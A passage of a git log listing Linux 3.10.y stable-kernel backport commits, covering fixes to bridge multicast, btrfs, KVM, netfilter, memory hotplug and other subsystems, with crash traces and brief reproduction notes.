44109249db38c9e3fa82be7ff82d43ae16d4675f Author: Nikolay Aleksandrov Date: Tue Jun 9 10:23:57 2015 -0700 bridge: fix multicast router rlist endless loop [ Upstream commit 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 ] Since the addition of sysfs multicast router support if one set multicast_router to "2" more than once, then the port would be added to the hlist every time and could end up linking to itself and thus causing an endless loop for rlist walkers. So to reproduce just do: echo 2 > multicast_router; echo 2 > multicast_router; in a bridge port and let some igmp traffic flow, for me it hangs up in br_multicast_flood(). Fix this by adding a check in br_multicast_add_router() if the port is already linked. The reason this didn't happen before the addition of multicast_router sysfs entries is because there's a !hlist_unhashed check that prevents it. Signed-off-by: Nikolay Aleksandrov Fixes: 0909e11758bd ("bridge: Add multicast_router sysfs entries") Acked-by: Herbert Xu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76e2931df415198f7cd54fce25da511bc7f28c08 Author: Sowmini Varadhan Date: Tue Apr 21 10:30:41 2015 -0400 sparc: Use GFP_ATOMIC in ldc_alloc_exp_dring() as it can be called in softirq context Upstream commit 671d773297969bebb1732e1cdc1ec03aa53c6be2 Since it is possible for vnet_event_napi to end up doing vnet_control_pkt_engine -> ... -> vnet_send_attr -> vnet_port_alloc_tx_ring -> ldc_alloc_exp_dring -> kzalloc() (i.e., in softirq context), kzalloc() should be called with GFP_ATOMIC from ldc_alloc_exp_dring. Signed-off-by: Sowmini Varadhan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d29f47ee6f5beccacaaf84d164ac860c2e29245c Author: Greg Kroah-Hartman Date: Fri Jul 3 19:48:19 2015 -0700 Linux 3.10.83 Signed-off-by: Pranav Vashi commit f6fbbb70a295cfbec431e2190c34b5997c8d9388 Author: Greg Ungerer Date: Mon Apr 14 15:47:01 2014 +0200 bus: mvebu: pass the coherency availability information at init time commit 5686a1e5aa436c49187a60052d5885fb1f541ce6 upstream. Until now, the mvebu-mbus was guessing by itself whether hardware I/O coherency was available or not by poking into the Device Tree to see if the coherency fabric Device Tree node was present or not. However, on some upcoming SoCs, the presence or absence of the coherency fabric DT node isn't sufficient: in CONFIG_SMP, the coherency can be enabled, but not in !CONFIG_SMP. In order to clean this up, the mvebu_mbus_dt_init() function is extended to get a boolean argument telling whether coherency is enabled or not. Therefore, the logic to decide whether coherency is available or not now belongs to the core SoC code instead of the mvebu-mbus driver itself, which is much better. Signed-off-by: Thomas Petazzoni Link: https://lkml.kernel.org/r/1397483228-25625-4-git-send-email-thomas.petazzoni@free-electrons.com Signed-off-by: Jason Cooper [ Greg Ungerer: back ported to linux-3.10.y Back port necessary due to large code differences in affected files. This change in combination with commit e553554536 ("ARM: mvebu: disable I/O coherency on non-SMP situations on Armada 370/375/38x/XP") is critical to the hardware I/O coherency being set correctly by both the mbus driver and all peripheral hardware drivers. Without this change drivers will incorrectly enable I/O coherency window attributes and this causes rare unreliable system behavior including oops. ] Signed-off-by: Greg Ungerer Acked-by: Gregory CLEMENT Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc2b4cbff7becf1cb8a3d0905541dbf51b62cc73 Author: Bandan Das Date: Thu Jun 11 02:05:33 2015 -0400 KVM: nSVM: Check for NRIPS support before updating control field commit f104765b4f81fd74d69e0eb161e89096deade2db upstream. If hardware doesn't support DecodeAssist - a feature that provides more information about the intercept in the VMCB, KVM decodes the instruction and then updates the next_rip vmcb control field. However, NRIP support itself depends on cpuid Fn8000_000A_EDX[NRIPS]. Since skip_emulated_instruction() doesn't verify nrip support before accepting control.next_rip as valid, avoid writing this field if support isn't present. Signed-off-by: Bandan Das Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8454af3a74341e75b15003cbe0d65ed8e6ef1aa Author: Sebastien Szymanski Date: Wed May 20 16:30:37 2015 +0200 ARM: clk-imx6q: refine sata's parent commit da946aeaeadcd24ff0cda9984c6fb8ed2bfd462a upstream. According to IMX6D/Q RM, table 18-3, sata clock's parent is ahb, not ipg. Signed-off-by: Sebastien Szymanski Reviewed-by: Fabio Estevam Signed-off-by: Shawn Guo [dirk.behme: Adjust moved file] Signed-off-by: Dirk Behme Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f664cae4abf51d13bfea992ada3870a183d3990c Author: Jari Ruusu Date: Sat Jun 13 19:01:31 2015 +0300 d_walk() might skip too much When Al Viro's VFS deadlock fix "deal with deadlock in d_walk()" was backported to 3.10.y 3.4.y and 3.2.y stable kernel brances, the deadlock fix was copied to 3 different places. Later, a bug in that code was discovered. Al Viro's fix involved fixing only one part of code in mainline kernel. That fix is called "d_walk() might skip too much". 3.10.y 3.4.y and 3.2.y stable kernel brances need that later fix copied to 3 different places. Greg Kroah-Hartman included Al Viro's "d_walk() might skip too much" fix only once in 3.10.80 kernel, leaving 2 more places without a fix. The patch below was not written by me. I only applied Al Viro's "d_walk() might skip too much" fix 2 more times to 3.10.80 kernel, and cheched that the fixes went to correct places. With this patch applied, all 3 places that I am aware of 3.10.y stable branch are now fixed. Signed-off-by: Jari Ruusu Cc: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ca893f3878227d8b5b9a17f72b7389083ac6c33 Author: Michal KubeÄek Date: Thu Aug 1 10:04:24 2013 +0200 ipv6: update ip6_rt_last_gc every time GC is run commit 49a18d86f66d33a20144ecb5a34bba0d1856b260 upstream. As pointed out by Eric Dumazet, net->ipv6.ip6_rt_last_gc should hold the last time garbage collector was run so that we should update it whenever fib6_run_gc() calls fib6_clean_all(), not only if we got there from ip6_dst_gc(). Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Cc: Konstantin Khlebnikov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c5204e5e58f06073c2fb71ec6d2651b43cec912b Author: Michal KubeÄek Date: Thu Aug 1 10:04:14 2013 +0200 ipv6: prevent fib6_run_gc() contention commit 2ac3ac8f86f2fe065d746d9a9abaca867adec577 upstream. On a high-traffic router with many processors and many IPv6 dst entries, soft lockup in fib6_run_gc() can occur when number of entries reaches gc_thresh. This happens because fib6_run_gc() uses fib6_gc_lock to allow only one thread to run the garbage collector but ip6_dst_gc() doesn't update net->ipv6.ip6_rt_last_gc until fib6_run_gc() returns. On a system with many entries, this can take some time so that in the meantime, other threads pass the tests in ip6_dst_gc() (ip6_rt_last_gc is still not updated) and wait for the lock. They then have to run the garbage collector one after another which blocks them for quite long. Resolve this by replacing special value ~0UL of expire parameter to fib6_run_gc() by explicit "force" parameter to choose between spin_lock_bh() and spin_trylock_bh() and call fib6_run_gc() with force=false if gc_thresh is reached but not max_size. Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Cc: Konstantin Khlebnikov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 556cccd362f6a0d39a24cfdc2dad4b01bcdd6119 Author: Steffen Klassert Date: Fri Oct 25 10:21:32 2013 +0200 xfrm: Increase the garbage collector threshold commit eeb1b73378b560e00ff1da2ef09fed9254f4e128 upstream. With the removal of the routing cache, we lost the option to tweak the garbage collector threshold along with the maximum routing cache size. So git commit 703fb94ec ("xfrm: Fix the gc threshold value for ipv4") moved back to a static threshold. It turned out that the current threshold before we start garbage collecting is much to small for some workloads, so increase it from 1024 to 32768. This means that we start the garbage collector if we have more than 32768 dst entries in the system and refuse new allocations if we are above 65536. Reported-by: Wolfgang Walter Signed-off-by: Steffen Klassert Cc: Stephen Hemminger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fa20a6f9f2921f230fbdde1ea529c3a80745b231 Author: Filipe Manana Date: Sun Nov 9 08:38:39 2014 +0000 Btrfs: make xattr replace operations atomic commit 5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339 upstream. Replacing a xattr consists of doing a lookup for its existing value, delete the current value from the respective leaf, release the search path and then finally insert the new value. This leaves a time window where readers (getxattr, listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs, so this has security implications. This change also fixes 2 other existing issues which were: *) Deleting the old xattr value without verifying first if the new xattr will fit in the existing leaf item (in case multiple xattrs are packed in the same item due to name hash collision); *) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't exist but we have have an existing item that packs muliple xattrs with the same name hash as the input xattr. In this case we should return ENOSPC. A test case for xfstests follows soon. Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace implementation. Reported-by: Alexandre Oliva Signed-off-by: Filipe Manana Signed-off-by: Chris Mason [shengyong: backport to 3.10 - FIX: CVE-2014-9710 - adjust context - ASSERT() was added v3.12, so we do check with if statement - set the first parameter of btrfs_item_nr() as NULL, because it is not used, and is removed in v3.13 ] Signed-off-by: Sheng Yong Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1b84f93b512ced24e41ee96a86b72e9e0e4e8d00 Author: Quentin Casasnovas Date: Tue Feb 3 13:00:22 2015 +0100 x86/microcode/intel: Guard against stack overflow in the loader commit f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4 upstream. mc_saved_tmp is a static array allocated on the stack, we need to make sure mc_saved_count stays within its bounds, otherwise we're overflowing the stack in _save_mc(). A specially crafted microcode header could lead to a kernel crash or potentially kernel execution. Signed-off-by: Quentin Casasnovas Cc: "H. Peter Anvin" Cc: Fenghua Yu Link: http://lkml.kernel.org/r/1422964824-22056-1-git-send-email-quentin.casasnovas@oracle.com Signed-off-by: Borislav Petkov Signed-off-by: Jiri Slaby Signed-off-by: Sheng Yong Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66e2ee55bae665b1956c699a3930d6d561c062f2 Author: Tomas Henzl Date: Fri Sep 12 14:44:15 2014 +0200 hpsa: add missing pci_set_master in kdump path commit 859c75aba20264d87dd026bab0d0ca3bff385955 upstream. Add a call to pci_set_master(...) missing in the previous patch "hpsa: refine the pci enable/disable handling". Found thanks to Rob Elliot. Signed-off-by: Tomas Henzl Reviewed-by: Robert Elliott Tested-by: Robert Elliott Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e970c0988fb04be7c64c56ab3a2b8daf8fc75a5 Author: Tomas Henzl Date: Thu Aug 14 16:12:39 2014 +0200 hpsa: refine the pci enable/disable handling commit 132aa220b45d60e9b20def1e9d8be9422eed9616 upstream. When a second(kdump) kernel starts and the hard reset method is used the driver calls pci_disable_device without previously enabling it, so the kernel shows a warning - [ 16.876248] WARNING: at drivers/pci/pci.c:1431 pci_disable_device+0x84/0x90() [ 16.882686] Device hpsa disabling already-disabled device ... This patch fixes it, in addition to this I tried to balance also some other pairs of enable/disable device in the driver. Unfortunately I wasn't able to verify the functionality for the case of a sw reset, because of a lack of proper hw. Signed-off-by: Tomas Henzl Reviewed-by: Stephen M. Cameron Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7b0e75abd695ae88e5c9f3bea3cab24d634de2a5 Author: Jim Snow Date: Tue Nov 18 14:51:09 2014 +0100 sb_edac: Fix erroneous bytes->gigabytes conversion commit 8c009100295597f23978c224aec5751a365bc965 upstream. Signed-off-by: Jim Snow Signed-off-by: Lukasz Anaczkowski Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jiri Slaby Cc: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1d4d57dfb7d1ae51b815c28e138d301047ed209f Author: Lv Zheng Date: Mon Apr 13 11:48:52 2015 +0800 ACPICA: Utilities: Cleanup to remove useless ACPI_PRINTF/FORMAT_xxx helpers. commit 1d0a0b2f6df2bf2643fadc990eb143361eca6ada upstream. ACPICA commit b60612373a4ef63b64a57c124576d7ddb6d8efb6 For physical addresses, since the address may exceed 32-bit address range after calculation, we should use 0x%8.8X%8.8X instead of ACPI_PRINTF_UINT and ACPI_FORMAT_UINT64() instead of ACPI_FORMAT_NATIVE_UINT()/ACPI_FORMAT_TO_UINT(). This patch also removes above replaced macros as there are no users. This is a preparation to switch acpi_physical_address to 64-bit on 32-bit kernel builds. Link: https://github.com/acpica/acpica/commit/b6061237 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme [gdavis: Move tbprint.c changes to tbutils.c due to lack of commit "42f4786 ACPICA: Split table print utilities to a new a separate file" in linux-3.10.y] Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37cfda6f7a405d5d7fe8d8ed5013ac52d0395473 Author: Lv Zheng Date: Mon Apr 13 11:48:46 2015 +0800 ACPICA: Utilities: Cleanup to convert physical address printing formats. commit cc2080b0e5a7c6c33ef5e9ffccbc2b8f6f861393 upstream. ACPICA commit 7f06739db43a85083a70371c14141008f20b2198 For physical addresses, since the address may exceed 32-bit address range after calculation, we should use %8.8X%8.8X (see ACPI_FORMAT_UINT64()) to convert the %p formats. This is a preparation to switch acpi_physical_address to 64-bit on 32-bit kernel builds. Link: https://github.com/acpica/acpica/commit/7f06739d Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme [gdavis: Move tbinstall.c changes to tbutils.c due to lack of commit "42f4786 ACPICA: Split table print utilities to a new a separate file" in linux-3.10.y] Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0cf3e267ea4bcac1a1d47a6711a0ef2a14828ed2 Author: Oleg Nesterov Date: Wed Sep 11 14:20:06 2013 -0700 include/linux/sched.h: don't use task->pid/tgid in same_thread_group/has_group_leader_pid commit e1403b8edf669ff49bbdf602cc97fefa2760cb15 upstream. task_struct->pid/tgid should go away. 1. Change same_thread_group() to use task->signal for comparison. 2. Change has_group_leader_pid(task) to compare task_pid(task) with signal->leader_pid. Signed-off-by: Oleg Nesterov Cc: Michal Hocko Cc: Sergey Dyasly Reviewed-by: "Eric W. Biederman" Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Peter Zijlstra Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec7d8271b7cd764929be6cb9c5624287f38639b2 Author: Ian Wilson Date: Thu Mar 12 09:37:58 2015 +0000 netfilter: Zero the tuple in nfnl_cthelper_parse_tuple() commit 78146572b9cd20452da47951812f35b1ad4906be upstream. nfnl_cthelper_parse_tuple() is called from nfnl_cthelper_new(), nfnl_cthelper_get() and nfnl_cthelper_del(). In each case they pass a pointer to an nf_conntrack_tuple data structure local variable: struct nf_conntrack_tuple tuple; ... ret = nfnl_cthelper_parse_tuple(&tuple, tb[NFCTH_TUPLE]); The problem is that this local variable is not initialized, and nfnl_cthelper_parse_tuple() only initializes two fields: src.l3num and dst.protonum. This leaves all other fields with undefined values based on whatever is on the stack: tuple->src.l3num = ntohs(nla_get_be16(tb[NFCTH_TUPLE_L3PROTONUM])); tuple->dst.protonum = nla_get_u8(tb[NFCTH_TUPLE_L4PROTONUM]); The symptom observed was that when the rpc and tns helpers were added then traffic to port 1536 was being sent to user-space. Signed-off-by: Ian Wilson Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc8e0cc722a41a69b5bfa917030e06fb76e1b389 Author: Chen Gang Date: Wed Dec 24 23:04:54 2014 +0800 netfilter: nfnetlink_cthelper: Remove 'const' and '&' to avoid warnings commit b18c5d15e8714336365d9d51782d5b53afa0443c upstream. The related code can be simplified, and also can avoid related warnings (with allmodconfig under parisc): CC [M] net/netfilter/nfnetlink_cthelper.o net/netfilter/nfnetlink_cthelper.c: In function ‘nfnl_cthelper_from_nlattr’: net/netfilter/nfnetlink_cthelper.c:97:9: warning: passing argument 1 o ‘memcpy’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-array-qualifiers] memcpy(&help->data, nla_data(attr), help->helper->data_len); ^ In file included from include/linux/string.h:17:0, from include/uapi/linux/uuid.h:25, from include/linux/uuid.h:23, from include/linux/mod_devicetable.h:12, from ./arch/parisc/include/asm/hardware.h:4, from ./arch/parisc/include/asm/processor.h:15, from ./arch/parisc/include/asm/spinlock.h:6, from ./arch/parisc/include/asm/atomic.h:21, from include/linux/atomic.h:4, from ./arch/parisc/include/asm/bitops.h:12, from include/linux/bitops.h:36, from include/linux/kernel.h:10, from include/linux/list.h:8, from include/linux/module.h:9, from net/netfilter/nfnetlink_cthelper.c:11: ./arch/parisc/include/asm/string.h:8:8: note: expected ‘void *’ but argument is of type ‘const char (*)[]’ void * memcpy(void * dest,const void *src,size_t count); ^ Signed-off-by: Chen Gang Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d547bbb51264000712c05c0aff1dea5ed348e055 Author: Konrad Rzeszutek Wilk Date: Fri Apr 17 15:04:48 2015 -0400 config: Enable NEED_DMA_MAP_STATE by default when SWIOTLB is selected commit a6dfa128ce5c414ab46b1d690f7a1b8decb8526d upstream. A huge amount of NIC drivers use the DMA API, however if compiled under 32-bit an very important part of the DMA API can be ommitted leading to the drivers not working at all (especially if used with 'swiotlb=force iommu=soft'). As Prashant Sreedharan explains it: "the driver [tg3] uses DEFINE_DMA_UNMAP_ADDR(), dma_unmap_addr_set() to keep a copy of the dma "mapping" and dma_unmap_addr() to get the "mapping" value. On most of the platforms this is a no-op, but ... with "iommu=soft and swiotlb=force" this house keeping is required, ... otherwise we pass 0 while calling pci_unmap_/pci_dma_sync_ instead of the DMA address." As such enable this even when using 32-bit kernels. Reported-by: Ian Jackson Signed-off-by: Konrad Rzeszutek Wilk Acked-by: David S. Miller Acked-by: Prashant Sreedharan Cc: Borislav Petkov Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Michael Chan Cc: Thomas Gleixner Cc: boris.ostrovsky@oracle.com Cc: cascardo@linux.vnet.ibm.com Cc: david.vrabel@citrix.com Cc: sanjeevb@broadcom.com Cc: siva.kallam@broadcom.com Cc: vyasevich@gmail.com Cc: xen-devel@lists.xensource.com Link: http://lkml.kernel.org/r/20150417190448.GA9462@l.oracle.com Signed-off-by: Ingo Molnar Cc: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2064ef67d71363b5ad5818f5c465804cd9aab07e Author: Al Viro Date: Fri Oct 4 11:06:42 2013 -0400 get rid of s_files and files_lock commit eee5cc2702929fd41cce28058dc6d6717f723f87 upstream. The only thing we need it for is alt-sysrq-r (emergency remount r/o) and these days we can do just as well without going through the list of files. Signed-off-by: Al Viro [wangkai: backport to 3.10: adjust context] Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad5edd86226f794e0c2491a62ed45d116dbecbcf Author: Oleg Nesterov Date: Mon Jul 8 14:24:16 2013 -0700 fput: turn "list_head delayed_fput_list" into llist_head commit 4f5e65a1cc90bbb15b9f6cdc362922af1bcc155a upstream. fput() and delayed_fput() can use llist and avoid the locking. This is unlikely path, it is not that this change can improve the performance, but this way the code looks simpler. Signed-off-by: Oleg Nesterov Suggested-by: Andrew Morton Cc: Al Viro Cc: Andrey Vagin Cc: "Eric W. Biederman" Cc: David Howells Cc: Huang Ying Cc: Peter Zijlstra Signed-off-by: Andrew Morton Signed-off-by: Al Viro Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b2c47f95508f026a40e285ec2187512f24e960ab Author: Greg Kroah-Hartman Date: Mon Jun 29 12:08:45 2015 -0700 Linux 3.10.82 Signed-off-by: Pranav Vashi commit 4029a295f58a19a13f6093c7e8d6b6d1b8a9d4eb Author: James Smart Date: Wed May 7 17:16:46 2014 -0400 lpfc: Add iotag memory barrier commit 27f344eb15dd0da80ebec80c7245e8c85043f841 upstream. Add a memory barrier to ensure the valid bit is read before any of the cqe payload is read. This fixes an issue seen on Power where the cqe payload was getting loaded before the valid bit. When this occurred, we saw an iotag out of range error when a command completed, but since the iotag looked invalid the command didn't get completed to scsi core. Later we hit the command timeout, attempted to abort the command, then waited for the aborted command to get returned. Since the adapter already returned the command, we timeout waiting, and end up escalating EEH all the way to host reset. This patch fixes this issue. Signed-off-by: Brian King Signed-off-by: James Smart Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 004e79fbe02e91aad81041d98bc0bbe4c5fea15c Author: Adam Jackson Date: Mon Jun 15 16:16:15 2015 -0400 drm/mgag200: Reject non-character-cell-aligned mode widths commit 25161084b1c1b0c29948f6f77266a35f302196b7 upstream. Turns out 1366x768 does not in fact work on this hardware. Signed-off-by: Adam Jackson Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7db4c3af9df843cac26e5d2a94bdfa4208b4ecd0 Author: Steven Rostedt Date: Mon Jun 15 17:50:25 2015 -0400 tracing: Have filter check for balanced ops commit 2cf30dc180cea808077f003c5116388183e54f9e upstream. When the following filter is used it causes a warning to trigger: # cd /sys/kernel/debug/tracing # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter -bash: echo: write error: Invalid argument # cat events/ext4/ext4_truncate_exit/filter ((dev==1)blocks==2) ^ parse_error: No error ------------[ cut here ]------------ WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990() Modules linked in: bnep lockd grace bluetooth ... CPU: 3 PID: 1223 Comm: bash Tainted: G W 4.1.0-rc3-test+ #450 Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012 0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0 0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea Call Trace: [] dump_stack+0x4c/0x6e [] warn_slowpath_common+0x97/0xe0 [] ? _kstrtoull+0x2c/0x80 [] warn_slowpath_null+0x1a/0x20 [] replace_preds+0x3c5/0x990 [] create_filter+0x82/0xb0 [] apply_event_filter+0xd4/0x180 [] event_filter_write+0x8f/0x120 [] __vfs_write+0x28/0xe0 [] ? __sb_start_write+0x53/0xf0 [] ? security_file_permission+0x30/0xc0 [] vfs_write+0xb8/0x1b0 [] SyS_write+0x4f/0xb0 [] system_call_fastpath+0x12/0x6a ---[ end trace e11028bd95818dcd ]--- Worse yet, reading the error message (the filter again) it says that there was no error, when there clearly was. The issue is that the code that checks the input does not check for balanced ops. That is, having an op between a closed parenthesis and the next token. This would only cause a warning, and fail out before doing any real harm, but it should still not caues a warning, and the error reported should work: # cd /sys/kernel/debug/tracing # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter -bash: echo: write error: Invalid argument # cat events/ext4/ext4_truncate_exit/filter ((dev==1)blocks==2) ^ parse_error: Meaningless filter expression And give no kernel warning. Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home Cc: Peter Zijlstra Cc: Ingo Molnar Cc: Arnaldo Carvalho de Melo Reported-by: Vince Weaver Tested-by: Vince Weaver Signed-off-by: Steven Rostedt [ luis: backported to 3.16: - unconditionally decrement cnt as the OP_NOT logic was introduced only by e12c09cf3087 ("tracing: Add NOT to filtering logic") ] Signed-off-by: Luis Henriques Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1403b48010ff043adfa0fd676e8b2d936c6e4999 Author: Steve Cornelius Date: Mon Jun 15 16:52:59 2015 -0700 crypto: caam - fix RNG buffer cache alignment commit 412c98c1bef65fe7589f1300e93735d96130307c upstream. The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx) allocated in one DMA-tagged region. While the kernel's heap allocator should place the overall struct on a cacheline aligned boundary, the 2 buffers contained within may not necessarily align. Consenquently, the ends of unaligned buffers may not fully flush, and if so, stale data will be left behind, resulting in small repeating patterns. This fix aligns the buffers inside the struct. Note that not all of the data inside caam_rng_ctx necessarily needs to be DMA-tagged, only the buffers themselves require this. However, a fix would incur the expense of error-handling bloat in the case of allocation failure. Signed-off-by: Steve Cornelius Signed-off-by: Victoria Milhoan Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f5c7603e061183093a7a48d6951303d05bb7f7f Author: Greg Kroah-Hartman Date: Mon Jun 22 16:56:08 2015 -0700 Linux 3.10.81 Signed-off-by: Pranav Vashi commit 6571483102da741d859347321d7a5b621653867e Author: Jeff Mahoney Date: Fri Mar 20 14:02:09 2015 -0400 btrfs: cleanup orphans while looking up default subvolume commit 727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream. Orphans in the fs tree are cleaned up via open_ctree and subvolume orphans are cleaned via btrfs_lookup_dentry -- except when a default subvolume is in use. The name for the default subvolume uses a manual lookup that doesn't trigger orphan cleanup and needs to trigger it manually as well. This doesn't apply to the remount case since the subvolumes are cleaned up by walking the root radix tree. Signed-off-by: Jeff Mahoney Reviewed-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a381382d49ded4a1a6d298a77a47f6a1246f094 Author: Chengyu Song Date: Tue Mar 24 18:12:56 2015 -0400 btrfs: incorrect handling for fiemap_fill_next_extent return commit 26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream. fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was the last extent that will fit in user array. If 1 is returned, the return value may eventually returned to user space, which should not happen, according to manpage of ioctl. Signed-off-by: Chengyu Song Reviewed-by: David Sterba Reviewed-by: Liu Bo Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f1e3952ccd04ccf9097957088ce6d492dadb8f7 Author: Johannes Berg Date: Tue Jun 9 21:35:44 2015 +0200 cfg80211: wext: clear sinfo struct before calling driver commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream. Until recently, mac80211 overwrote all the statistics it could provide when getting called, but it now relies on the struct having been zeroed by the caller. This was always the case in nl80211, but wext used a static struct which could even cause values from one device leak to another. Using a static struct is OK (as even documented in a comment) since the whole usage of this function and its return value is always locked under RTNL. Not clearing the struct for calling the driver has always been wrong though, since drivers were free to only fill values they could report, so calling this for one device and then for another would always have leaked values from one to the other. Fix this by initializing the structure in question before the driver method call. This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691 Reported-by: Gerrit Renker Reported-by: Alexander Kaltsas Signed-off-by: Johannes Berg Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5915b841f7ddef054f52602254ac8d9d660106e Author: Gu Zheng Date: Wed Jun 10 11:14:43 2015 -0700 mm/memory_hotplug.c: set zone->wait_table to null after freeing it commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream. Izumi found the following oops when hot re-adding a node: BUG: unable to handle kernel paging request at ffffc90008963690 IP: __wake_up_bit+0x20/0x70 Oops: 0000 [#1] SMP CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80 Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015 task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000 RIP: 0010:[] [] __wake_up_bit+0x20/0x70 RSP: 0018:ffff880017b97be8 EFLAGS: 00010246 RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9 RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648 RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800 R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000 FS: 00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0 Call Trace: unlock_page+0x6d/0x70 generic_write_end+0x53/0xb0 xfs_vm_write_end+0x29/0x80 [xfs] generic_perform_write+0x10a/0x1e0 xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs] xfs_file_write_iter+0x79/0x120 [xfs] __vfs_write+0xd4/0x110 vfs_write+0xac/0x1c0 SyS_write+0x58/0xd0 system_call_fastpath+0x12/0x76 Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48 RIP [] __wake_up_bit+0x20/0x70 RSP CR2: ffffc90008963690 Reproduce method (re-add a node):: Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic) This seems an use-after-free problem, and the root cause is zone->wait_table was not set to *NULL* after free it in try_offline_node. When hot re-add a node, we will reuse the pgdat of it, so does the zone struct, and when add pages to the target zone, it will init the zone first (including the wait_table) if the zone is not initialized. The judgement of zone initialized is based on zone->wait_table: static inline bool zone_is_initialized(struct zone *zone) { return !!zone->wait_table; } so if we do not set the zone->wait_table to *NULL* after free it, the memory hotplug routine will skip the init of new zone when hot re-add the node, and the wait_table still points to the freed memory, then we will access the invalid address when trying to wake up the waiting people after the i/o operation with the page is done, such as mentioned above. Signed-off-by: Gu Zheng Reported-by: Taku Izumi Reviewed by: Yasuaki Ishimatsu Cc: KAMEZAWA 